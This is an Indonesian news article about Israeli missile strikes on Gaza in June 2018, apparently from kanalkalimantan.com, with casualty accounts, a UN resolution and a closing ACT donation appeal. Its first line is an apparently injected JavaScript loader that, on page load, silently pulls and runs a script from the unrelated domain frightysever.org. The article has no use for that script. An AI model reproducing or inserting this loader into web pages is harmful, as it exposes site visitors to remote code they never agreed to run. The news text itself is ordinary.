(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Belum lewat sepekan dari keceriaan hari raya Idul Fitri, tangis dan darah kembali mengalir di bumi Palestina. Sekitar 12 rudal dari pesawat Israel dilontarkan ke tanah Gaza, menghantam 9 titik di kota Gaza pada Senin (18/6) dini hari.
Satu hal sederhana yang menjadi pemicu serangan sepertiga malam tadi, yaitu ketidakberdayaan Zionis Israel menghadang layang-layang api Gaza. Komisi parlemen Israel pada pekan lalu mengatakan, kebakaran telah menghancurkan lebih dari 2.000 hektare lahan dalam beberapa pekan ini, mengakibatkan kerugian sekitar 2 juta dolar AS.
Walaupun Zionis Israel berhasil menghambat usaha penyusupan dan tembakan roket dari Gaza, tetapi Israel mengaku kesulitan untuk menghentikan serangan layang-layang itu. Diketahui pasca kejadian semalam, sejumlah pemukiman Gaza luluh lantak. Sejumlah rumah rusak, mobil-mobil hancur, dan beberapa warga mengalami luka-luka akibat pecahan kaca dan serpihan proyektil rudal.
Sebelumnya, serangan fatal Israel juga menewaskan 125 warga Palestina selama unjuk rasa di perbatasan Gaza membuat kelam perayaan Idul Fitri. “Ini adalah Idul Fitri tersulit dalam hidupku,” kata Worod al-Jamal, yang anak lelakinya bernama Haitham (15) tewas akibat tembakan Israel dalam unjuk rasa pada 7 Juni 2018 seperti dikutip Antara.
Dia menunjukkan kepada wartawan satu celana jins, sepatu dan kaos baru, yang dibeli sang putra dua hari sebelum kematiannya.
Warga Palestina telah mengadakan demonstrasi massal di perbatasan untuk menuntut hak kembali ke wilayah yang sekarang menjadu Israel tidak hanya bagi mereka yang melarikan diri atau terpaksa meninggalkan rumah mereka akibat perang di sekitar pembentukan Israel pada 1948 tetapi juga untuk jutaan orang keturunan.
Majelis Umum Perserikatan Bangsa Bangsa (PBB) mengutuk Israel pada Rabu (13/6) atas penggunaan kekuatan bersenjata yang berlebihan terhadap warga sipil Palestina. Namun, Israel balas menuduh resolusi PBB itu bersifat satu pihak, karena tidak menyebutkan Hamas sebagai pihak pemicu aksi kekerasan.
Ribuan kilometer jauhnya dari Indonesia, bukan penghalang untuk kita berbagi. Kepedulian kita adalah jembatan silaturahim kepada saudara-saudara kita di Gaza Palestina. Menanggapi kebutuhan dasar hidup berupa listrik di sana, ACT mengajak Anda untuk berkontribusi membantu penduduk Gaza agar kehidupan manusia mulia di Gaza semakin membaik
Mari, bantu ringankan penderitaan saudara-saudara di Palestina dengan do’a tertulus dan bantuan terbaik kita. Semoga pada momentum hari kemenangan ini, mereka bisa turut bahagia sebagaimana kita di bumi Indonesia. (cel/act)
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
This website uses cookies.